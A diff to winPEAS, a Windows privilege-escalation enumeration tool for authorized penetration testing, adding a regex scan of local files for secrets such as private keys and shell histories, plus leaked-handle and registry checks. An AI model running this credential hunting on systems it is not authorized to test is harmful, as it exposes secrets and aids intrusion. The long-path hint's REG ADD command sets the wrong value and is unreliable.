@@ -271,16 +281,9 @@ If you find any issue, please report it using **[github issues](https://github.c
**WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges. **WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges.
## Please, if this tool has been useful for you consider to donate
[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.patreon.com/peass)
## Advisory ## Advisory
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
## License
MIT License By Polop
By Polop<sup>(TM)</sup>, makikvues (makikvues2[at]gmail[dot].com)

View File

@@ -56,7 +56,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Installed Applications --Via Program Files/Uninstall registry--"); Beaprint.MainPrint("Installed Applications --Via Program Files/Uninstall registry--");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software", "Check if you can modify installed software"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software", "Check if you can modify installed software");
SortedDictionary<string, Dictionary<string, string>> installedAppsPerms = InstalledApps.GetInstalledAppsPerms(); SortedDictionary<string, Dictionary<string, string>> installedAppsPerms = InstalledApps.GetInstalledAppsPerms();
string format = " ==> {0} ({1})"; string format = " ==> {0} ({1})";
@@ -102,7 +102,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Autorun Applications"); Beaprint.MainPrint("Autorun Applications");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there)"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there)");
List<Dictionary<string, string>> apps = AutoRuns.GetAutoRuns(Checks.CurrentUserSiDs); List<Dictionary<string, string>> apps = AutoRuns.GetAutoRuns(Checks.CurrentUserSiDs);
foreach (Dictionary<string, string> app in apps) foreach (Dictionary<string, string> app in apps)
@@ -183,7 +183,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Scheduled Applications --Non Microsoft--"); Beaprint.MainPrint("Scheduled Applications --Non Microsoft--");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users scheduled binaries"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries", "Check if you can modify other users scheduled binaries");
List<Dictionary<string, string>> scheduled_apps = ApplicationInfoHelper.GetScheduledAppsNoMicrosoft(); List<Dictionary<string, string>> scheduled_apps = ApplicationInfoHelper.GetScheduledAppsNoMicrosoft();
foreach (Dictionary<string, string> sapp in scheduled_apps) foreach (Dictionary<string, string> sapp in scheduled_apps)
@@ -233,7 +233,7 @@ namespace winPEAS.Checks
{ {
Beaprint.MainPrint("Device Drivers --Non Microsoft--"); Beaprint.MainPrint("Device Drivers --Non Microsoft--");
// this link is not very specific, but its the best on hacktricks // this link is not very specific, but its the best on hacktricks
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#vulnerable-drivers", "Check 3rd party drivers for known vulnerabilities/rootkits."); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#vulnerable-drivers", "Check 3rd party drivers for known vulnerabilities/rootkits.");
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft()) foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
{ {

View File

@@ -21,6 +21,7 @@ namespace winPEAS.Checks
public static bool IsDebug = false; public static bool IsDebug = false;
public static bool IsLinpeas = false; public static bool IsLinpeas = false;
public static bool IsLolbas = false; public static bool IsLolbas = false;
public static bool SearchProgramFiles = false;
// Create Dynamic blacklists // Create Dynamic blacklists
public static readonly string CurrentUserName = Environment.UserName; public static readonly string CurrentUserName = Environment.UserName;
@@ -34,15 +35,19 @@ namespace winPEAS.Checks
public static string PaintActiveUsersNoAdministrator = ""; public static string PaintActiveUsersNoAdministrator = "";
public static string PaintDisabledUsers = ""; public static string PaintDisabledUsers = "";
public static string PaintDisabledUsersNoAdministrator = ""; public static string PaintDisabledUsersNoAdministrator = "";
public static bool IsLongPath = false;
public static bool WarningIsLongPath = false;
public static int MaxRegexFileSize = 1000000;
//static string paint_lockoutUsers = ""; //static string paint_lockoutUsers = "";
public static string PaintAdminUsers = ""; public static string PaintAdminUsers = "";
public static YamlConfig YamlConfig; public static YamlConfig YamlConfig;
public static YamlRegexConfig RegexesYamlConfig;
private static List<SystemCheck> _systemChecks; private static List<SystemCheck> _systemChecks;
private static readonly HashSet<string> _systemCheckSelectedKeysHashSet = new HashSet<string>(); private static readonly HashSet<string> _systemCheckSelectedKeysHashSet = new HashSet<string>();
// github url for Linpeas.sh // github url for Linpeas.sh
public static string LinpeasUrl = "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh"; public static string LinpeasUrl = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh";
public const string DefaultLogFile = "out.txt"; public const string DefaultLogFile = "out.txt";
@@ -80,7 +85,7 @@ namespace winPEAS.Checks
new SystemCheck("windowscreds", new WindowsCreds()), new SystemCheck("windowscreds", new WindowsCreds()),
new SystemCheck("browserinfo", new BrowserInfo()), new SystemCheck("browserinfo", new BrowserInfo()),
new SystemCheck("filesinfo", new FilesInfo()), new SystemCheck("filesinfo", new FilesInfo()),
new SystemCheck("fileAnalysis", new FileAnalysis()) new SystemCheck("fileanalysis", new FileAnalysis())
}; };
var systemCheckAllKeys = new HashSet<string>(_systemChecks.Select(i => i.Key)); var systemCheckAllKeys = new HashSet<string>(_systemChecks.Select(i => i.Key));
@@ -152,6 +157,21 @@ namespace winPEAS.Checks
IsDomainEnumeration = true; IsDomainEnumeration = true;
} }
if (string.Equals(arg, "searchpf", StringComparison.CurrentCultureIgnoreCase))
{
SearchProgramFiles = true;
}
if (string.Equals(arg, "max-regex-file-size", StringComparison.CurrentCultureIgnoreCase))
{
var parts = arg.Split('=');
if (parts.Length >= 2 && !string.IsNullOrEmpty(parts[1]))
{
MaxRegexFileSize = Int32.Parse(parts[1]);
}
}
if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase)) if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase))
{ {
IsLolbas = true; IsLolbas = true;
@@ -199,6 +219,8 @@ namespace winPEAS.Checks
CheckRegANSI(); CheckRegANSI();
} }
CheckLongPath();
Beaprint.PrintInit(); Beaprint.PrintInit();
CheckRunner.Run(CreateDynamicLists, IsDebug); CheckRunner.Run(CreateDynamicLists, IsDebug);
@@ -248,12 +270,22 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.GrayPrint(" - Loading YAML definitions file..."); Beaprint.GrayPrint(" - Loading sensitive_files yaml definitions file...");
YamlConfig = YamlConfigHelper.GetWindowsSearchConfig(); YamlConfig = YamlConfigHelper.GetWindowsSearchConfig();
} }
catch (Exception ex) catch (Exception ex)
{ {
Beaprint.GrayPrint("Error while getting AD info: " + ex); Beaprint.GrayPrint("Error while getting sensitive_files yaml info: " + ex);
}
try
{
Beaprint.GrayPrint(" - Loading regexes yaml definitions file...");
RegexesYamlConfig = YamlConfigHelper.GetRegexesSearchConfig();
}
catch (Exception ex)
{
Beaprint.GrayPrint("Error while getting regexes yaml info: " + ex);
} }
try try
@@ -387,6 +419,24 @@ namespace winPEAS.Checks
} }
} }
private static void CheckLongPath()
{
try
{
if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1")
{
System.Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
IsLongPath = false;
}
else
IsLongPath = true;
}
catch (Exception ex)
{
Beaprint.GrayPrint("Error while checking LongPathsEnabled registry: " + ex);
}
}
private static void WaitInput() private static void WaitInput()
{ {
Console.Write("\n -- Press a key to continue... "); Console.Write("\n -- Press a key to continue... ");

View File

@@ -1,14 +1,17 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Threading.Tasks;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Search; using winPEAS.Helpers.Search;
using static winPEAS.Helpers.YamlConfig.YamlConfig.SearchParameters; using static winPEAS.Helpers.YamlConfig.YamlConfig.SearchParameters;
namespace winPEAS.Checks namespace winPEAS.Checks
{ {
internal class FileAnalysis : ISystemCheck internal class FileAnalysis : ISystemCheck
{ {
private const int ListFileLimit = 70; private const int ListFileLimit = 70;
@@ -19,11 +22,12 @@ namespace winPEAS.Checks
new List<Action> new List<Action>
{ {
PrintYAMLSearchFiles PrintYAMLSearchFiles,
PrintYAMLRegexesSearchFiles
}.ForEach(action => CheckRunner.Run(action, isDebug)); }.ForEach(action => CheckRunner.Run(action, isDebug));
} }
private static List<CustomFileInfo> InitializeFileSearch() private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles=true)
{ {
var files = new List<CustomFileInfo>(); var files = new List<CustomFileInfo>();
var systemDrive = $"{SearchHelper.SystemDrive}\\"; var systemDrive = $"{SearchHelper.SystemDrive}\\";
@@ -56,17 +60,25 @@ namespace winPEAS.Checks
// files.AddRange(SearchHelper.RootDirCurrentUser); // not needed, it's contained within RootDirUsers // files.AddRange(SearchHelper.RootDirCurrentUser); // not needed, it's contained within RootDirUsers
files.AddRange(SearchHelper.DocumentsAndSettings); files.AddRange(SearchHelper.DocumentsAndSettings);
files.AddRange(SearchHelper.GroupPolicyHistory); // TODO maybe not needed here files.AddRange(SearchHelper.GroupPolicyHistory); // TODO maybe not needed here
if (useProgramFiles)
{
files.AddRange(SearchHelper.ProgramFiles); files.AddRange(SearchHelper.ProgramFiles);
files.AddRange(SearchHelper.ProgramFilesX86); files.AddRange(SearchHelper.ProgramFilesX86);
}
return files; return files;
} }
private static bool Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount) private static bool[] Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound)
{ {
if (Checks.IsDebug)
Beaprint.PrintDebugLine($"Searching for {fileName}");
bool isRegexSearch = fileName.Contains("*"); bool isRegexSearch = fileName.Contains("*");
bool isFolder = fileSettings.files != null;
string pattern = string.Empty; string pattern = string.Empty;
if (isRegexSearch) if (isRegexSearch)
{ {
pattern = GetRegexpFromString(fileName); pattern = GetRegexpFromString(fileName);
@@ -74,25 +86,49 @@ namespace winPEAS.Checks
foreach (var file in files) foreach (var file in files)
{ {
bool isFileFound; bool isFileFound = false;
if (isRegexSearch)
if (isFolder)
{ {
isFileFound = Regex.IsMatch(file.Filename, pattern, RegexOptions.IgnoreCase); if (pattern == string.Empty)
{
isFileFound = file.FullPath.ToLower().Contains($"\\{fileName}\\");
} }
else else
{ {
isFileFound = file.Filename.ToLower() == fileName; foreach (var fold in file.FullPath.Split('\\').Skip(1))
{
isFileFound = Regex.IsMatch(fold, pattern, RegexOptions.IgnoreCase);
if (isFileFound) break;
} }
}
}
else
{
if (pattern == String.Empty)
{
isFileFound = file.Filename.ToLower() == fileName.ToLower();
}
else
{
isFileFound = Regex.IsMatch(file.Filename, pattern, RegexOptions.IgnoreCase);
}
}
if (isFileFound) if (isFileFound)
{ {
// there are no inner sections if (!somethingFound) {
if (fileSettings.files == null) Beaprint.MainPrint($"Found {searchName} Files");
somethingFound = true;
}
if (!isFolder)
{ {
var isProcessed = ProcessResult(file, fileSettings, ref resultsCount); var isProcessed = ProcessResult(file, fileSettings, ref resultsCount);
if (!isProcessed) if (!isProcessed)
{ {
return true; return new bool[] { true, somethingFound };
} }
} }
// there are inner sections // there are inner sections
@@ -100,24 +136,48 @@ namespace winPEAS.Checks
{ {
foreach (var innerFileToSearch in fileSettings.files) foreach (var innerFileToSearch in fileSettings.files)
{ {
// search for inner files/folders by inner file/folder name List<CustomFileInfo> one_file_list = new List<CustomFileInfo>() { file };
var innerFiles = SearchHelper.GetFilesFast(file.FullPath, innerFileToSearch.name, isFoldersIncluded: true); Search(one_file_list, innerFileToSearch.name, innerFileToSearch.value, ref resultsCount, searchName, somethingFound);
foreach (var innerFile in innerFiles)
{
// process inner file/folder
var isProcessed = ProcessResult(innerFile, innerFileToSearch.value, ref resultsCount);
if (!isProcessed)
{
return true;
}
}
} }
} }
} }
} }
return false;
return new bool[] { false, somethingFound };
}
private static List<string> SearchContent(string text, string regex_str, bool caseinsensitive)
{
List<string> foundMatches = new List<string>();
try
{
Regex rgx;
if (caseinsensitive)
rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase);
else
rgx = new Regex(regex_str.Trim());
int cont = 0;
foreach (Match match in rgx.Matches(text))
{
if (cont > 4) break;
if (match.Value.Length < 400 && match.Value.Trim().Length > 2)
foundMatches.Add(match.Value);
cont++;
}
}
catch (Exception e)
{
Beaprint.GrayPrint($"Error looking for regex {regex_str} inside files: {e}");
}
//}
return foundMatches;
} }
private static void PrintYAMLSearchFiles() private static void PrintYAMLSearchFiles()
@@ -125,32 +185,33 @@ namespace winPEAS.Checks
try try
{ {
var files = InitializeFileSearch(); var files = InitializeFileSearch();
var folders = files.Where(f => f.IsDirectory).ToList(); //var folders = files.Where(f => f.IsDirectory).ToList();
var config = Checks.YamlConfig; var config = Checks.YamlConfig;
var defaults = config.defaults; var defaults = config.defaults;
var searchItems = config.search.Where(i => i.value.config.auto_check && var searchItems = config.search.Where(i => !(i.value.disable != null && i.value.disable.Contains("winpeas")));
(i.value.disable == null || !i.value.disable.Contains("winpeas")));
foreach (var searchItem in searchItems) foreach (var searchItem in searchItems)
{ {
var searchName = searchItem.name; var searchName = searchItem.name;
var value = searchItem.value; var value = searchItem.value;
var searchConfig = value.config; var searchConfig = value.config;
bool somethingFound = false;
CheckRunner.Run(() => CheckRunner.Run(() =>
{ {
Beaprint.MainPrint($"Analyzing {searchName} Files (limit {ListFileLimit})");
int resultsCount = 0; int resultsCount = 0;
bool[] results;
bool isSearchFinished = false; bool isSearchFinished = false;
foreach (var file in value.files) foreach (var file in value.files)
{ {
var fileName = file.name.ToLower(); var fileName = file.name.ToLower();
var fileSettings = file.value; var fileSettings = file.value;
var itemsToSearch = fileSettings.type == "f" ? files : folders;
isSearchFinished = Search(itemsToSearch, fileName, fileSettings, ref resultsCount); results = Search(files, fileName, fileSettings, ref resultsCount, searchName, somethingFound);
isSearchFinished = results[0];
somethingFound = results[1];
if (isSearchFinished) if (isSearchFinished)
{ {
@@ -165,6 +226,179 @@ namespace winPEAS.Checks
} }
} }
private static void PrintYAMLRegexesSearchFiles()
{
try
{
//List<string> extra_no_extensions = new List<string>() { ".msi", ".exe", ".dll", ".pyc", ".pyi", ".lnk", ".css", ".hyb", ".etl", ".mo", ".xrm-ms", ".idl", ".vsix", ".mui", ".qml", ".tt" };
List<string> valid_extensions = new List<string>() {
// text
".txt", ".text", ".md", ".markdown", ".toml", ".rtf",
// config
".cnf", ".conf", ".config", ".json", ".yml", ".yaml", ".xml", ".xaml",
// dev
".py", ".js", ".html", ".c", ".cpp", ".pl", ".rb", ".smali", ".java", ".php", ".bat", ".ps1",
// hidden
".id_rsa", ".id_dsa", ".bash_history", ".rsa",
};
List<string> invalid_names = new List<string>()
{
"eula.rtf", "changelog.md"
};
if (Checks.IsDebug)
Beaprint.PrintDebugLine("Looking for secrets inside files via regexes");
// No dirs, less than 1MB, only interesting extensions and not false positives files.
var files = InitializeFileSearch(Checks.SearchProgramFiles).Where(f => !f.IsDirectory && valid_extensions.Contains(f.Extension.ToLower()) && !invalid_names.Contains(f.Filename.ToLower()) && f.Size > 0 && f.Size < Checks.MaxRegexFileSize).ToList();
var config = Checks.RegexesYamlConfig; // Get yaml info
Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> foundRegexes = new Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> { };
if (Checks.IsDebug)
{
Beaprint.PrintDebugLine($"Searching regexes in {files.Count} files");
valid_extensions.ForEach(ext =>
{
int cont = 0;
files.ForEach(f =>
{
if (f.Extension.ToLower() == ext.ToLower())
cont++;
});
Beaprint.PrintDebugLine($"Found {cont} files with ext {ext}");
});
}
/*
* Useful for debbugging purposes to see the common file extensions found
Dictionary <string, int> dict_str = new Dictionary<string, int>();
foreach (var f in files)
{
if (dict_str.ContainsKey(f.Extension))
dict_str[f.Extension] += 1;
else
dict_str[f.Extension] = 1;
}
var sortedDict = from entry in dict_str orderby entry.Value descending select entry;
foreach (KeyValuePair<string, int> kvp in sortedDict)
{
Console.WriteLine(string.Format("Key = {0}, Value = {1}", kvp.Key, kvp.Value));
}*/
double pb = 0;
using (var progress = new ProgressBar())
{
CheckRunner.Run(() =>
{
int num_threads = 8;
try
{
num_threads = Environment.ProcessorCount;
}
catch (Exception ex) { }
Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
{
foreach (var regex_obj in config.regular_expresions)
{
foreach (var regex in regex_obj.regexes)
{
if (regex.disable != null && regex.disable.ToLower().Contains("winpeas"))
{
continue;
}
List<string> results = new List<string> { };
var timer = new Stopwatch();
if (Checks.IsDebug)
{
timer.Start();
}
try
{
string text = System.IO.File.ReadAllText(f.FullPath);
results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
if (results.Count > 0)
{
if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
foundRegexes[regex_obj.name][regex.name][f.FullPath] = results;
}
}
catch (System.IO.IOException)
{
// Cannot read the file
}
if (Checks.IsDebug)
{
timer.Stop();
TimeSpan timeTaken = timer.Elapsed;
if (timeTaken.TotalMilliseconds > 1000)
Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}");
}
}
}
pb += (double)100 / files.Count;
progress.Report(pb / 100); //Value must be in [0..1] range
});
}, Checks.IsDebug);
}
// Print results
foreach (KeyValuePair<string, Dictionary<string, Dictionary<string, List<string>>>> item in foundRegexes)
{
foreach (KeyValuePair<string, Dictionary<string, List<string>>> item2 in item.Value)
{
string masterCategory = item.Key;
string regexCategory = item2.Key;
int limit = 70;
string msg = $"Found {masterCategory}-{regexCategory} Regexes";
if (item2.Value.Count > limit)
msg += $" (limited to {limit})";
Beaprint.MainPrint(msg);
int cont = 0;
foreach (KeyValuePair<string, List<string>> item3 in item2.Value)
{
if (cont > limit)
break;
foreach (string regexMatch in item3.Value)
{
string filePath = item3.Key;
Beaprint.PrintNoNL($"{filePath}: ");
Beaprint.BadPrint(regexMatch);
}
cont++;
}
}
}
}
catch (Exception e)
{
Beaprint.GrayPrint($"Error looking for regexes inside files: {e}");
}
}
private static string GetRegexpFromString(string str) private static string GetRegexpFromString(string str)
{ {
// we need to update the regexp to work here // we need to update the regexp to work here
@@ -190,20 +424,33 @@ namespace winPEAS.Checks
if (resultsCount > ListFileLimit) return false; if (resultsCount > ListFileLimit) return false;
// If contains undesireable string, stop processing
if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)
{
foreach(var rem_path in fileSettings.remove_path.Split('|'))
{
if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))
return false;
}
}
if (fileSettings.type == "f") if (fileSettings.type == "f")
{ {
if ((bool)fileSettings.just_list_file) var colors = new Dictionary<string, string>();
{ colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
Beaprint.BadPrint($" {fileInfo.FullPath}"); Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
}
else if (!(bool)fileSettings.just_list_file)
{ {
GrepResult(fileInfo, fileSettings); GrepResult(fileInfo, fileSettings);
} }
} }
else if (fileSettings.type == "d") else if (fileSettings.type == "d")
{ {
var colors = new Dictionary<string, string>();
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad);
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
// just list the directory // just list the directory
if ((bool)fileSettings.just_list_file) if ((bool)fileSettings.just_list_file)
{ {
@@ -225,8 +472,6 @@ namespace winPEAS.Checks
private static void GrepResult(CustomFileInfo fileInfo, FileSettings fileSettings) private static void GrepResult(CustomFileInfo fileInfo, FileSettings fileSettings)
{ {
Beaprint.NoColorPrint($" '{fileInfo.FullPath}' - content:");
var fileContent = File.ReadLines(fileInfo.FullPath); var fileContent = File.ReadLines(fileInfo.FullPath);
var colors = new Dictionary<string, string>(); var colors = new Dictionary<string, string>();
@@ -272,6 +517,7 @@ namespace winPEAS.Checks
Beaprint.AnsiPrint(content, colors); Beaprint.AnsiPrint(content, colors);
if (content.Length > 0)
Console.WriteLine(); Console.WriteLine();
} }
@@ -281,7 +527,16 @@ namespace winPEAS.Checks
// '-i -a -o "description.*" | sort | uniq' // '-i -a -o "description.*" | sort | uniq'
// - remove everything except from "description.*" // - remove everything except from "description.*"
Regex regex = new Regex("\"([^\"]+)\""); Regex regex;
if (lineGrep.Contains("-i"))
{
regex = new Regex("\"([^\"]+)\"", RegexOptions.IgnoreCase);
}
else
{
regex = new Regex("\"([^\"]+)\"");
}
Match match = regex.Match(lineGrep); Match match = regex.Match(lineGrep);
if (match.Success) if (match.Success)

View File

@@ -151,7 +151,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Cloud Credentials"); Beaprint.MainPrint("Cloud Credentials");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
List<Dictionary<string, string>> could_creds = KnownFileCredsInfo.ListCloudCreds(); List<Dictionary<string, string>> could_creds = KnownFileCredsInfo.ListCloudCreds();
if (could_creds.Count != 0) if (could_creds.Count != 0)
{ {
@@ -382,7 +382,7 @@ namespace winPEAS.Checks
string[] passRegHklm = new string[] { @"SYSTEM\CurrentControlSet\Services\SNMP" }; string[] passRegHklm = new string[] { @"SYSTEM\CurrentControlSet\Services\SNMP" };
Beaprint.MainPrint("Looking for possible regs with creds"); Beaprint.MainPrint("Looking for possible regs with creds");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#inside-the-registry"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry");
string winVnc4 = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\RealVNC\WinVNC4", "password"); string winVnc4 = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\RealVNC\WinVNC4", "password");
if (!string.IsNullOrEmpty(winVnc4.Trim())) if (!string.IsNullOrEmpty(winVnc4.Trim()))
@@ -431,7 +431,7 @@ namespace winPEAS.Checks
}; };
Beaprint.MainPrint("Looking for possible password files in users homes"); Beaprint.MainPrint("Looking for possible password files in users homes");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
var fileInfos = SearchHelper.SearchUserCredsFiles(); var fileInfos = SearchHelper.SearchUserCredsFiles();
foreach (var fileInfo in fileInfos) foreach (var fileInfo in fileInfos)
@@ -470,7 +470,7 @@ namespace winPEAS.Checks
}; };
Beaprint.MainPrint("Looking inside the Recycle Bin for creds files"); Beaprint.MainPrint("Looking inside the Recycle Bin for creds files");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
List<Dictionary<string, string>> recy_files = InterestingFiles.InterestingFiles.GetRecycleBin(); List<Dictionary<string, string>> recy_files = InterestingFiles.InterestingFiles.GetRecycleBin();
foreach (Dictionary<string, string> rec_file in recy_files) foreach (Dictionary<string, string> rec_file in recy_files)
@@ -506,7 +506,7 @@ namespace winPEAS.Checks
}; };
Beaprint.MainPrint("Searching known files that can contain creds in home"); Beaprint.MainPrint("Searching known files that can contain creds in home");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
var files = SearchHelper.SearchUsersInterestingFiles(); var files = SearchHelper.SearchUsersInterestingFiles();
@@ -747,7 +747,8 @@ namespace winPEAS.Checks
{ {
".bat", ".bat",
".exe", ".exe",
".ps1" ".ps1",
".cmd"
}; };
var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs); var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs);

View File

@@ -21,6 +21,7 @@ namespace winPEAS.Checks
{ {
{ badIps, Beaprint.ansi_color_bad }, { badIps, Beaprint.ansi_color_bad },
{ @"\[\:\:1\]", Beaprint.ansi_color_bad }, { @"\[\:\:1\]", Beaprint.ansi_color_bad },
{ @"\[\:\:\]", Beaprint.ansi_color_bad },
}; };
public void PrintInfo(bool isDebug) public void PrintInfo(bool isDebug)
@@ -223,6 +224,11 @@ namespace winPEAS.Checks
foreach (var udpConnectionInfo in NetworkInfoHelper.GetUdpConnections(IPVersion.IPv4, processesByPid)) foreach (var udpConnectionInfo in NetworkInfoHelper.GetUdpConnections(IPVersion.IPv4, processesByPid))
{ {
if (udpConnectionInfo.ProcessName == "dns") // Hundreds of them sometimes
{
continue;
}
Beaprint.AnsiPrint( Beaprint.AnsiPrint(
string.Format(formatString, string.Format(formatString,
" UDP", " UDP",
@@ -254,6 +260,11 @@ namespace winPEAS.Checks
foreach (var udpConnectionInfo in NetworkInfoHelper.GetUdpConnections(IPVersion.IPv6, processesByPid)) foreach (var udpConnectionInfo in NetworkInfoHelper.GetUdpConnections(IPVersion.IPv6, processesByPid))
{ {
if (udpConnectionInfo.ProcessName == "dns") // Hundreds of them sometimes
{
continue;
}
Beaprint.AnsiPrint( Beaprint.AnsiPrint(
string.Format(formatString, string.Format(formatString,
" UDP", " UDP",

View File

@@ -14,7 +14,8 @@ namespace winPEAS.Checks
new List<Action> new List<Action>
{ {
PrintInterestingProcesses, //PrintInterestingProcesses,
PrintVulnLeakedHandlers,
}.ForEach(action => CheckRunner.Run(action, isDebug)); }.ForEach(action => CheckRunner.Run(action, isDebug));
} }
@@ -23,7 +24,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Interesting Processes -non Microsoft-"); Beaprint.MainPrint("Interesting Processes -non Microsoft-");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes", "Check if any interesting processes for memory dump or if you could overwrite some binary running"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes", "Check if any interesting processes for memory dump or if you could overwrite some binary running");
List<Dictionary<string, string>> processesInfo = ProcessesInfo.GetProcInfo(); List<Dictionary<string, string>> processesInfo = ProcessesInfo.GetProcInfo();
foreach (Dictionary<string, string> procInfo in processesInfo) foreach (Dictionary<string, string> procInfo in processesInfo)
@@ -83,5 +84,24 @@ namespace winPEAS.Checks
Beaprint.GrayPrint(ex.Message); Beaprint.GrayPrint(ex.Message);
} }
} }
void PrintVulnLeakedHandlers()
{
Beaprint.MainPrint("Vulnerable Leaked Handlers");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation");
List<Dictionary<string, string>> vulnHandlers = ProcessesInfo.GetVulnHandlers();
foreach (Dictionary<string, string> handler in vulnHandlers)
{
Dictionary<string, string> colors = new Dictionary<string, string>()
{
{ Checks.CurrentUserName, Beaprint.ansi_color_bad },
{ handler["Reason"], Beaprint.ansi_color_bad },
};
Beaprint.DictPrint(vulnHandlers, colors, true);
}
}
} }
} }

View File

@@ -42,7 +42,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Interesting Services -non Microsoft-"); Beaprint.MainPrint("Interesting Services -non Microsoft-");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services", "Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services", "Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths");
List<Dictionary<string, string>> services_info = ServicesInfoHelper.GetNonstandardServices(); List<Dictionary<string, string>> services_info = ServicesInfoHelper.GetNonstandardServices();
@@ -121,7 +121,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Modifiable Services"); Beaprint.MainPrint("Modifiable Services");
